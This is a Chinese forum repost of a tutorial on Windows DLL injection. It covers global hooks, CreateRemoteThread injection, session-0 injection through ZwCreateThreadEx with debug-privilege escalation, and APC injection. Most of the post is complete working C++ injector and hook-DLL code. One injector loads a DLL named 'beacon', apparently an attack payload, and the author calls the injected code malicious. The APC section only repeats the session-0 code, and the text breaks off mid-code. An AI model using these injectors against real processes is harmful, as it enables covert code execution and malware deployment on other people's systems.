安全矩阵

用户名  找回密码
 立即注册
帖子
查看: 3041|回复: 0

Dll注入

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-11-10 16:50:05 | 显示全部楼层 |阅读模式
原文链接:Dll注入


最近太忙啦XDM,又在做一些列的分析复现工作量有点大,更新要慢一点了。
参考
https://xz.aliyun.com/t/10318本人C++才入门,所以代码均来源参考文章,然后按照实际情况做了修改。简介
  1. 每个进程在运行过程中,都有一个和其他进程独立的相对空间,在这个空间里,进程相当于拥有所有
  2. 权限。但是进程只能修改自己这个空间里的地址数据信息,和其他进程互相不干扰(就算相对地址
  3. 一致,也不会覆盖其他的进程信息。)
  4. DLL注入技术,一般来讲是向一个正在运行的进程插入/注入代码的过程。我们注入的代码以动态链
  5. 接库(DLL)的形式存在。DLL文件在运行时将按需加载。就是类似一个程序A,强行加入了一个程序
  6. B需要的dll,并执行了dll里面的代码。而dll有程序B拥有,所以程序B拥有对程序A的控制权限。以
  7. 下情况可能对存在注入场景1.为目标进程添加新的“实用”功能;
  8. 2.需要一些手段来辅助调试被注入dll的进程;
  9. 3.为目标进程安装钩子程序(API Hook);
复制代码

钩子简介
  1. HOOK,是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消

  2. 息,而且所监视的窗口可以是其他进程所创建的。当消息到达后,在目标窗口过程之前处理它。钩

  3. 子机制允许应用程序截获并处理window消息或特定事件。

  4. HOOK实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没

  5. 有到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。这时钩子函数即可以

  6. 加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。

  7. 简单来讲,消息发生的时候,由钩子先捕捉到,进行加工处理。其中的回调函数,就是我们钩子对

  8. 消息的处理函数。我们可以自定义一个钩子,监控系统中的消息。其中拦截单个进程的叫线程

  9. 钩子,拦截全局的叫系统钩子。
复制代码


全局钩子注入
  1. 首先要知道,在windows的应用中很多都是消息机制。消息机制就是如下机制。

  2. 我们都是通过 API 函数来调用系统功能,让操作系统来帮我们完成很多工作,例如调用

  3. CreateFile() 函数,操作系统会帮我们创建一个文件,而不需要我们参与任何工作,非常方便。
  4. 事件:类似敲击键盘等操作。
  5. 队列:存放消息(先进先出)
  6. 消息:事件发生时发送消息。
  7. 简单来理解:当用户敲击键盘,此时程序发出一个消息,存放在队列中,供应用程序来读取。
  8. 事件和消息同步。有事件就会发送消息。然后应用程序去依次调用。
  9. 这也就是消息机制。

  10. windows通过钩子机制来截获和监视系统中的这些消息。一般钩子分局部钩子与全局钩子,局部钩子

  11. 一般用于某个线程,而全局钩子一般通过dll文件实现相应的钩子函数。
复制代码


SetWindowsHookEx
  1. 这是用来设置钩子的函数。
  2. HHOOK WINAPI SetWindowsHookEx(
  3.   _In_  int idHook,         // 安装的钩子类型
  4.   _In_  HOOKPROC lpfn,      // 处理消息的回调函数
  5.   _In_  HINSTANCE hMod,     // 当前实例句柄
  6.   _In_  DWORD dwThreadId    // 线程ID
  7. );

  8. 来试想一下,如果钩子函数在其他进程中独有实现,在运行过程中,进程B想要去调用这个钩子函数

  9. 是完全不可能的,因为他们处于不同的空间。所以调用方式应当是写在一个Dll中,当谁需要的时

  10. 候,谁就去调用。当一个程序接收到了消息,此时操作系统就将全局钩子加入到这个进程中,去对

  11. 消息进行处理。所以如果我们控制了钩子函数的dll,然后输入恶意代码,当有消息时,dll被加

  12. 载,恶意代码执行。
  13. WH_GETMESSAGE 钩子类型,可以监听全局消息
  14. GetMsgProc 回调函数 在消息到达的时候对消息进行处理
  15. UnhookWindowsHookEx 卸载钩子
  16. SetWindowsHookEx 安装钩子
复制代码


代码实现

  1. #include "pch.h"
  2. #include <windows.h>
  3. #include <stdio.h>
  4. #include<stdlib.h>
  5. extern HMODULE g_hDllModule; //定义的外部变量
  6. extern "C" _declspec(dllexport) int SetHook();
  7. extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
  8. extern "C" _declspec(dllexport) BOOL UnsetHook();
  9. // 定义了一个可以进程共享的数据段
  10. #pragma data_seg("mydata")
  11. HHOOK g_hHook = NULL;
  12. #pragma data_seg()

  13. //设置定义的数据段具有读,写,共享的属性
  14. #pragma comment(linker, "/SECTION:mydata,RWS")

  15. //钩子回调函数
  16. LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) {
  17.     return ::CallNextHookEx(g_hHook, code, wParam, lParam); //将消息传递给g_hHook钩子进行处理
  18. }

  19. // 设置钩子
  20. BOOL SetHook() {
  21.     g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);//设置了一个windows全局消息拦截钩子
  22.     if (NULL == g_hHook) {
  23.         return FALSE;
  24.     }
  25.     return TRUE;
  26. }

  27. // 卸载钩子
  28. BOOL UnsetHook() {
  29.     if (g_hHook) {
  30.         UnhookWindowsHookEx(g_hHook);//当没有设置使用钩子的时候,就卸载g_hHook钩子。
  31.     }
  32.     return TRUE;
  33. }

  34. //主函数
  35. HMODULE g_hDllModule = NULL;

  36. BOOL APIENTRY DllMain(HMODULE hModule,
  37.     DWORD  ul_reason_for_call,
  38.     LPVOID lpReserved
  39. )
  40. {
  41.     switch (ul_reason_for_call)
  42.     {
  43.     case DLL_PROCESS_ATTACH:
  44.     {
  45.         g_hDllModule = hModule;
  46.         system("calc");
  47.         break;
  48.     }
  49.     case DLL_THREAD_ATTACH:
  50.     case DLL_THREAD_DETACH:
  51.     case DLL_PROCESS_DETACH:
  52.         break;
  53.     }
  54.     return TRUE;
  55. }
  56. //稍微说一下逻辑,做了一个钩子的安装,实现回调函数,然后卸载功能,当dll加载的时候,就生成一个句柄来获取当前dll句柄。

  57. #include<stdio.h>
  58. #include<stdlib.h>
  59. #include<windows.h>  // 必须包含 windows.h
  60. int main()
  61. {
  62.     typedef BOOL(*typedef_SetGlobalHook)(); //定义一个符号typedef_SetGlobalHook是一个函数指针,函数返回值为BOOL类型。
  63.     typedef BOOL(*typedef_UnsetGlobalHook)();//定义一个符号typedef_UnsetGlobalHook是一个函数指针,函数返回值为BOOL类型。
  64.     HMODULE hDll = NULL; //定义一个模块句柄
  65.     typedef_SetGlobalHook SetGlobalHook = NULL;
  66.     typedef_UnsetGlobalHook UnsetGlobalHook = NULL;
  67.     BOOL bRet = FALSE;

  68.     do
  69.     {
  70.         hDll = ::LoadLibraryW(TEXT("DLL2.dll")); //加载Dll2.dll
  71.         if (NULL == hDll)
  72.         {
  73.             printf("LoadLibrary Error[%d]\n", ::GetLastError());//加载失败的话,返回加载失败的错误数值
  74.             break;
  75.         }

  76.         SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");//获取Dll中的SetHook函数
  77.         if (NULL == SetGlobalHook)
  78.         {
  79.             printf("GetProcAddress Error[%d]\n", ::GetLastError());//获取失败的话,返回错误的数值
  80.             break;
  81.         }

  82.         bRet = SetGlobalHook();
  83.         if (bRet)
  84.         {
  85.             printf("SetGlobalHook OK.\n");
  86.         }
  87.         else
  88.         {
  89.             printf("SetGlobalHook ERROR.\n");
  90.         }

  91.         system("pause");

  92.         UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");//获取UnsetHook函数
  93.         if (NULL == UnsetGlobalHook)
  94.         {
  95.             printf("GetProcAddress Error[%d]\n", ::GetLastError());
  96.             break;
  97.         }
  98.         UnsetGlobalHook();
  99.         printf("UnsetGlobalHook OK.\n");

  100.     } while (FALSE);

  101.     system("pause");
  102.     return 0;
  103. }
  104. //代码可以直接用之前的代码注入实现(有点类似劫持了),这里我们做的hook,就借用茶寂messi996师傅的代码实现吧,才做C++自己写有点费时间。但是每一句代码肯定还是要理解清楚的。
复制代码




后续再多研究看看,这种注入感觉很类似劫持。远程线程注入指一个进程在另一个进程中创建线程。​​
  1. CreateRemoteThread
  2. HANDLE CreateRemoteThread(
  3.   HANDLE                 hProcess,
  4.   LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  5.   SIZE_T                 dwStackSize,
  6.   LPTHREAD_START_ROUTINE lpStartAddress,
  7.   LPVOID                 lpParameter,
  8.   DWORD                  dwCreationFlags,
  9.   LPDWORD                lpThreadId
  10. );
  11. VirtualAllocEx
  12. 指定进程的虚拟空间保留或提交内存区域
  13. LPVOID VirtualAllocEx(
  14.   HANDLE hProcess,
  15.   LPVOID lpAddress,
  16.   SIZE_T dwSize,
  17.   DWORD  flAllocationType,
  18.   DWORD  flProtect
  19. );
  20. WriteProcessMemory
  21. 此函数能写入某一进程的内存区域(直接写入会出Access Violation错误),故需此函数入口区必须可以访问,否则操作将失败。
  22. BOOL WriteProcessMemory(
  23.   HANDLE  hProcess,         //进程句柄
  24.   LPVOID  lpBaseAddress,    //写入的内存首地址
  25.   LPCVOID lpBuffer,         //要写数据的指针
  26.   SIZE_T  nSize,            //x
  27.   SIZE_T  *lpNumberOfBytesWritten
  28. );
复制代码

实现原理
  1. 使用CreateRemoteThread这个API,首先使用CreateToolhelp32Snapshot拍摄快照获取pid,然后使

  2. 用Openprocess打开进程,使用VirtualAllocEx远程申请空间,使用WriteProcessMemory写入数据,

  3. 再用GetProcAddress获取LoadLibraryW的地址。在注入进程中创建线程(CreateRemoteThread)。关

  4. 于系统dll,简单来理解就是每次windows启动的时候,可能dll的基址会发生变化,但是启动以后就

  5. 不会改变了,固定了。所以要调用这些系统dll的进程只需要访问同一个基址(系统dll的基址就行

  6. 了。)
复制代码


代码
(1)主注入程序
  1. #include <iostream>
  2. #include <windows.h>
  3. #include <TlHelp32.h>
  4. #include "tchar.h"
  5. char string_inject[] = "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\dll";

  6. //通过进程快照获取PID
  7. DWORD _GetProcessPID(LPCTSTR lpProcessName) //定义了一个类似数组的LPCTSTR类型
  8. {
  9.     DWORD Ret = 0;
  10.     PROCESSENTRY32 p32; //用来存放快照进程的结构体。

  11.     HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //定义了一个句柄,其中CreateToolhelp32Snapshot()代表获取了系统快照,类型为TH32CS_SNAPPROCESS,代表获取了系统所有进程。

  12.     if (lpSnapshot == INVALID_HANDLE_VALUE)
  13.     {
  14.         printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());
  15.         return Ret;
  16.     }

  17.     p32.dwSize = sizeof(PROCESSENTRY32);
  18.     ::Process32First(lpSnapshot, &p32);//进程获取函数,参数1位快照句柄,参数2位需要放置的结构体

  19.     do {
  20.         if (!lstrcmp(p32.szExeFile, lpProcessName))//通过循环遍历所有进程id,进行判断进程可执行文件名和传入的进程名,如果相同,就获取他的进程id
  21.         {
  22.             Ret = p32.th32ProcessID;
  23.             break;
  24.         }
  25.     } while (::Process32Next(lpSnapshot, &p32));

  26.     ::CloseHandle(lpSnapshot);//关闭一个快照
  27.     return Ret;//返回进程id
  28. }


  29. //打开一个进程并为其创建一个线程
  30. DWORD _RemoteThreadInject(DWORD _Pid, LPCWSTR DllName)
  31. {
  32.     //打开进程
  33.     HANDLE hprocess;
  34.     HANDLE hThread;
  35.     DWORD _Size = 0;
  36.     BOOL Write = 0;
  37.     LPVOID pAllocMemory = NULL;
  38.     DWORD DllAddr = 0;
  39.     FARPROC pThread;

  40.     hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);  //打开一个进程并获取他的所有权限
  41.     //Size = sizeof(string_inject);
  42.     _Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);//_tcslen 求长度 这里应该是需要申请的内存空间大小

  43.     //远程申请空间
  44.     pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE); //申请内存空间

  45.     if (pAllocMemory == NULL)
  46.     {
  47.         printf("VirtualAllocEx - Error!");
  48.         return FALSE;
  49.     }

  50.     // 写入内存
  51.     Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL); //写入内存中去,Dllname是要写的数据的指针

  52.     if (Write == FALSE)
  53.     {
  54.         printf("WriteProcessMemory - Error!");
  55.         return FALSE;
  56.     }


  57.     //获取LoadLibrary的地址
  58.     pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");//获取DLL的输出函数的地址,这里能发现LoadLibraryW在kernel32.dll这个系统dll中。
  59.     LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;

  60.     //在另一个进程中创建线程
  61.     hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);//在我们传入的进程中创建线程

  62.     if (hThread == NULL)
  63.     {
  64.         printf("CreateRemoteThread - Error!");
  65.         return FALSE;
  66.     }

  67.     //等待线程函数结束,获得退出码
  68.     WaitForSingleObject(hThread, -1);//检测线程的对象状态
  69.     GetExitCodeThread(hThread, &DllAddr);//获取退出码

  70.     //释放DLL空间
  71.     VirtualFreeEx(hprocess, pAllocMemory, _Size, MEM_DECOMMIT);

  72.     //关闭线程句柄
  73.     ::CloseHandle(hprocess);
  74.     return TRUE;
  75. }
  76. int main()
  77. {
  78.     DWORD PID = _GetProcessPID(L"test.exe");
  79.     _RemoteThreadInject(PID, L"C:\\Users\\e0mlja\\Desktop\\DLL\\Dll2\\Debug\\dll");
  80. }
复制代码

(2)被注入程序(默认生成未改动)
  1. // test.cpp : 定义应用程序的入口点。
  2. //

  3. #include "framework.h"
  4. #include "test.h"

  5. #define MAX_LOADSTRING 100

  6. // 全局变量:
  7. HINSTANCE hInst;                                // 当前实例
  8. WCHAR szTitle[MAX_LOADSTRING];                  // 标题栏文本
  9. WCHAR szWindowClass[MAX_LOADSTRING];            // 主窗口类名

  10. // 此代码模块中包含的函数的前向声明:
  11. ATOM                MyRegisterClass(HINSTANCE hInstance);
  12. BOOL                InitInstance(HINSTANCE, int);
  13. LRESULT CALLBACK    WndProc(HWND, UINT, WPARAM, LPARAM);
  14. INT_PTR CALLBACK    About(HWND, UINT, WPARAM, LPARAM);

  15. int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
  16.                      _In_opt_ HINSTANCE hPrevInstance,
  17.                      _In_ LPWSTR    lpCmdLine,
  18.                      _In_ int       nCmdShow)
  19. {
  20.     UNREFERENCED_PARAMETER(hPrevInstance);
  21.     UNREFERENCED_PARAMETER(lpCmdLine);

  22.     // TODO: 在此处放置代码。

  23.     // 初始化全局字符串
  24.     LoadStringW(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
  25.     LoadStringW(hInstance, IDC_TEST, szWindowClass, MAX_LOADSTRING);
  26.     MyRegisterClass(hInstance);

  27.     // 执行应用程序初始化:
  28.     if (!InitInstance (hInstance, nCmdShow))
  29.     {
  30.         return FALSE;
  31.     }

  32.     HACCEL hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_TEST));

  33.     MSG msg;

  34.     // 主消息循环:
  35.     while (GetMessage(&msg, nullptr, 0, 0))
  36.     {
  37.         if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
  38.         {
  39.             TranslateMessage(&msg);
  40.             DispatchMessage(&msg);
  41.         }
  42.     }

  43.     return (int) msg.wParam;
  44. }



  45. //
  46. //  函数: MyRegisterClass()
  47. //
  48. //  目标: 注册窗口类。
  49. //
  50. ATOM MyRegisterClass(HINSTANCE hInstance)
  51. {
  52.     WNDCLASSEXW wcex;

  53.     wcex.cbSize = sizeof(WNDCLASSEX);

  54.     wcex.style          = CS_HREDRAW | CS_VREDRAW;
  55.     wcex.lpfnWndProc    = WndProc;
  56.     wcex.cbClsExtra     = 0;
  57.     wcex.cbWndExtra     = 0;
  58.     wcex.hInstance      = hInstance;
  59.     wcex.hIcon          = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_TEST));
  60.     wcex.hCursor        = LoadCursor(nullptr, IDC_ARROW);
  61.     wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);
  62.     wcex.lpszMenuName   = MAKEINTRESOURCEW(IDC_TEST);
  63.     wcex.lpszClassName  = szWindowClass;
  64.     wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));

  65.     return RegisterClassExW(&wcex);
  66. }

  67. //
  68. //   函数: InitInstance(HINSTANCE, int)
  69. //
  70. //   目标: 保存实例句柄并创建主窗口
  71. //
  72. //   注释:
  73. //
  74. //        在此函数中,我们在全局变量中保存实例句柄并
  75. //        创建和显示主程序窗口。
  76. //
  77. BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
  78. {
  79.    hInst = hInstance; // 将实例句柄存储在全局变量中

  80.    HWND hWnd = CreateWindowW(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
  81.       CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, nullptr, nullptr, hInstance, nullptr);

  82.    if (!hWnd)
  83.    {
  84.       return FALSE;
  85.    }

  86.    ShowWindow(hWnd, nCmdShow);
  87.    UpdateWindow(hWnd);

  88.    return TRUE;
  89. }

  90. //
  91. //  函数: WndProc(HWND, UINT, WPARAM, LPARAM)
  92. //
  93. //  目标: 处理主窗口的消息。
  94. //
  95. //  WM_COMMAND  - 处理应用程序菜单
  96. //  WM_PAINT    - 绘制主窗口
  97. //  WM_DESTROY  - 发送退出消息并返回
  98. //
  99. //
  100. LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
  101. {
  102.     switch (message)
  103.     {
  104.     case WM_COMMAND:
  105.         {
  106.             int wmId = LOWORD(wParam);
  107.             // 分析菜单选择:
  108.             switch (wmId)
  109.             {
  110.             case IDM_ABOUT:
  111.                 DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About);
  112.                 break;
  113.             case IDM_EXIT:
  114.                 DestroyWindow(hWnd);
  115.                 break;
  116.             default:
  117.                 return DefWindowProc(hWnd, message, wParam, lParam);
  118.             }
  119.         }
  120.         break;
  121.     case WM_PAINT:
  122.         {
  123.             PAINTSTRUCT ps;
  124.             HDC hdc = BeginPaint(hWnd, &ps);
  125.             // TODO: 在此处添加使用 hdc 的任何绘图代码...
  126.             EndPaint(hWnd, &ps);
  127.         }
  128.         break;
  129.     case WM_DESTROY:
  130.         PostQuitMessage(0);
  131.         break;
  132.     default:
  133.         return DefWindowProc(hWnd, message, wParam, lParam);
  134.     }
  135.     return 0;
  136. }

  137. // “关于”框的消息处理程序。
  138. INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
  139. {
  140.     UNREFERENCED_PARAMETER(lParam);
  141.     switch (message)
  142.     {
  143.     case WM_INITDIALOG:
  144.         return (INT_PTR)TRUE;

  145.     case WM_COMMAND:
  146.         if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
  147.         {
  148.             EndDialog(hDlg, LOWORD(wParam));
  149.             return (INT_PTR)TRUE;
  150.         }
  151.         break;
  152.     }
  153.     return (INT_PTR)FALSE;
  154. }
复制代码

能够看到,在test.exe中注入了我们的恶意程序。

突破session 0的远程线程注入
  1. Intel的CPU将特权级别分为4个级别:RING0,RING1,RING2,RING3。Windows只使用其中的两个级别

  2. RING0和RING3,RING0只给操作系统用,RING3谁都能用。如果普通应用程序企图执行RING0指令,

  3. 则Windows会显示“非法指令”错误信息。
  4. 简单来说 ring3是用户层,ring0的防护最高级。属于到内核中去了。注入也是注入到内核中
  5. ZwCreateThreadEx  也是创建线程,但是比CreateRemoteThread更底层,可以注入到内核层
  6. OpenProcessToken 打开与进程相关的访问令牌
  7. LookupPrivilegeValueA 查看系统权限的特权值
  8. AdjustTokenPrivileges 判断进程的权限
  9. //后面三个函数主要用来提权
复制代码


代码

  1. // session0Inject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
  2. //

  3. #include <Windows.h>
  4. #include <stdio.h>
  5. #include <iostream>

  6. void ShowError(const char* pszText)
  7. {
  8.     char szError[MAX_PATH] = { 0 };
  9.     ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
  10.     ::MessageBox(NULL, szError, "ERROR", MB_OK);
  11. }

  12. // 提权函数
  13. BOOL EnableDebugPrivilege()
  14. {
  15.     HANDLE hToken;
  16.     BOOL fOk = FALSE;
  17.     if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
  18.     {
  19.         TOKEN_PRIVILEGES tp;
  20.         tp.PrivilegeCount = 1;
  21.         LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

  22.         tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  23.         AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

  24.         fOk = (GetLastError() == ERROR_SUCCESS);
  25.         CloseHandle(hToken);
  26.     }
  27.     return fOk;

  28. }


  29. // 使用 ZwCreateThreadEx 实现远线程注入
  30. BOOL ZwCreateThreadExInjectDll(DWORD PID, const char* pszDllFileName)
  31. {
  32.     HANDLE hProcess = NULL;
  33.     SIZE_T dwSize = 0;
  34.     LPVOID pDllAddr = NULL;
  35.     FARPROC pFuncProcAddr = NULL;
  36.     HANDLE hRemoteThread = NULL;
  37.     DWORD dwStatus = 0;

  38.     EnableDebugPrivilege();

  39.     // 打开注入进程,获取进程句柄
  40.     hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);

  41.     if (hProcess == NULL)
  42.     {
  43.         printf("OpenProcess - Error!\n\n");
  44.         return -1;
  45.     }
  46.     // 在注入的进程申请内存地址

  47.     dwSize = ::lstrlen(pszDllFileName) + 1;
  48.     pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);

  49.     if (NULL == pDllAddr)
  50.     {
  51.         ShowError("VirtualAllocEx - Error!\n\n");
  52.         return FALSE;
  53.     }
  54.     //写入内存地址

  55.     if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
  56.     {
  57.         ShowError("WriteProcessMemory - Error!\n\n");
  58.         return FALSE;
  59.     }
  60.     //加载ntdll
  61.     HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");

  62.     if (NULL == hNtdllDll)
  63.     {
  64.         ShowError("LoadLirbary");
  65.         return FALSE;
  66.     }
  67.     // 获取LoadLibraryA函数地址
  68.     pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");

  69.     if (NULL == pFuncProcAddr)
  70.     {
  71.         ShowError("GetProcAddress_LoadLibraryA - Error!\n\n");
  72.         return FALSE;
  73.     }

  74. #ifdef _WIN64
  75.     typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
  76.         PHANDLE ThreadHandle,
  77.         ACCESS_MASK DesiredAccess,
  78.         LPVOID ObjectAttributes,
  79.         HANDLE ProcessHandle,
  80.         LPTHREAD_START_ROUTINE lpStartAddress,
  81.         LPVOID lpParameter,
  82.         ULONG CreateThreadFlags,
  83.         SIZE_T ZeroBits,
  84.         SIZE_T StackSize,
  85.         SIZE_T MaximumStackSize,
  86.         LPVOID pUnkown);
  87. #else
  88.     typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
  89.         PHANDLE ThreadHandle,
  90.         ACCESS_MASK DesiredAccess,
  91.         LPVOID ObjectAttributes,
  92.         HANDLE ProcessHandle,
  93.         LPTHREAD_START_ROUTINE lpStartAddress,
  94.         LPVOID lpParameter,
  95.         BOOL CreateSuspended,
  96.         DWORD dwStackSize,
  97.         DWORD dw1,
  98.         DWORD dw2,
  99.         LPVOID pUnkown);
  100. #endif

  101.     //获取ZwCreateThreadEx函数地址
  102.     typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");

  103.     if (NULL == ZwCreateThreadEx)
  104.     {
  105.         ShowError("GetProcAddress_ZwCreateThread - Error!\n\n");
  106.         return FALSE;
  107.     }
  108.     // 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
  109.     dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
  110.     if (NULL == ZwCreateThreadEx)
  111.     {
  112.         ShowError("ZwCreateThreadEx - Error!\n\n");
  113.         return FALSE;
  114.     }
  115.     // 关闭句柄
  116.     ::CloseHandle(hProcess);
  117.     ::FreeLibrary(hNtdllDll);

  118.     return TRUE;
  119. }

  120. int main(int argc, char* argv[])
  121. {
  122. #ifdef _WIN64
  123.     BOOL bRet = ZwCreateThreadExInjectDll(12220, "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\beacon");
  124. #else
  125.     BOOL bRet = ZwCreateThreadExInjectDll(12220, "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\beacon");
  126. #endif
  127.     if (FALSE == bRet)
  128.     {
  129.         printf("Inject Dll Error!\n\n");
  130.     }
  131.     printf("Inject Dll OK!\n\n");
  132.     return 0;
  133. }
复制代码



APC注入
  1. APC,全称为Asynchronous Procedure Call,即异步过程调用,是指函数在特定线程中被异步执行,在操作系统中,APC是一种并发机制。
  2. QueueUserApc 添加制定的异步函数调用(回调函数)到执行的线程的APC队列中
  3. APCproc 回调函数

  4. 往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,

  5. APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC。
复制代码


原理
  1. 在 Windows系统中,每个线程都会维护一个线程 APC队列,通过QucueUserAPC把一个APC 函数添加到

  2. 指定线程的APC队列中。每个线程都有自己的APC队列,这个 APC队列记录了要求线程执行的一些APC

  3. 函数。Windows系统会发出一个软中断去执行这些APC 函数,对于用户模式下的APC 队列,当线程处

  4. 在可警告状态时才会执行这些APC 函数。一个线程在内部使用SignalObjectAndWait 、 SleepEx、

  5. WaitForSingleObjectEx、WaitForMultipleObjectsEx等函数把自己挂起时就是进入可警告状态,此

  6. 时便会执行APC队列函数。
  7. 简单来说,每个线程都有一个APC队列,里面放了一些APC函数。一定情况下这些APC函数会被执行。

  8. 1)当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中

  9. 断(或者是Messagebox弹窗的时候不点OK的时候也能注入)。
  10. 2)当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。

  11. 3)利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插入

  12. 的是Loadlibrary()执行函数的话,就能达到注入DLL的目的。

  13. 条件
  14. 1.必须是多线程环境下
  15. 2.注入的程序必须会调用那些同步对象
复制代码

代码


  1. // session0Inject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
  2. //

  3. #include <Windows.h>
  4. #include <stdio.h>
  5. #include <iostream>

  6. void ShowError(const char* pszText)
  7. {
  8.     char szError[MAX_PATH] = { 0 };
  9.     ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
  10.     ::MessageBox(NULL, szError, "ERROR", MB_OK);
  11. }

  12. // 提权函数
  13. BOOL EnableDebugPrivilege()
  14. {
  15.     HANDLE hToken;
  16.     BOOL fOk = FALSE;
  17.     if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
  18.     {
  19.         TOKEN_PRIVILEGES tp;
  20.         tp.PrivilegeCount = 1;
  21.         LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

  22.         tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  23.         AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

  24.         fOk = (GetLastError() == ERROR_SUCCESS);
  25.         CloseHandle(hToken);
  26.     }
  27.     return fOk;

  28. }


  29. // 使用 ZwCreateThreadEx 实现远线程注入
  30. BOOL ZwCreateThreadExInjectDll(DWORD PID, const char* pszDllFileName)
  31. {
  32.     HANDLE hProcess = NULL;
  33.     SIZE_T dwSize = 0;
  34.     LPVOID pDllAddr = NULL;
  35.     FARPROC pFuncProcAddr = NULL;
  36.     HANDLE hRemoteThread = NULL;
  37.     DWORD dwStatus = 0;

  38.     EnableDebugPrivilege();

  39.     // 打开注入进程,获取进程句柄
  40.     hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);

  41.     if (hProcess == NULL)
  42.     {
  43.         printf("OpenProcess - Error!\n\n");
  44.         return -1;
  45.     }
  46.     // 在注入的进程申请内存地址

  47.     dwSize = ::lstrlen(pszDllFileName) + 1;
  48.     pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);

  49.     if (NULL == pDllAddr)
  50.     {
  51.         ShowError("VirtualAllocEx - Error!\n\n");
  52.         return FALSE;
  53.     }
  54.     //写入内存地址

  55.     if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
  56.     {
  57.         ShowError("WriteProcessMemory - Error!\n\n");
  58.         return FALSE;
  59.     }
  60.     //加载ntdll
  61.     HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");

  62.     if (NULL == hNtdllDll)
  63.     {
  64.         ShowError("LoadLirbary");
  65.         return FALSE;
  66.     }
  67.     // 获取LoadLibraryA函数地址
  68.     pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");

  69.     if (NULL == pFuncProcAddr)
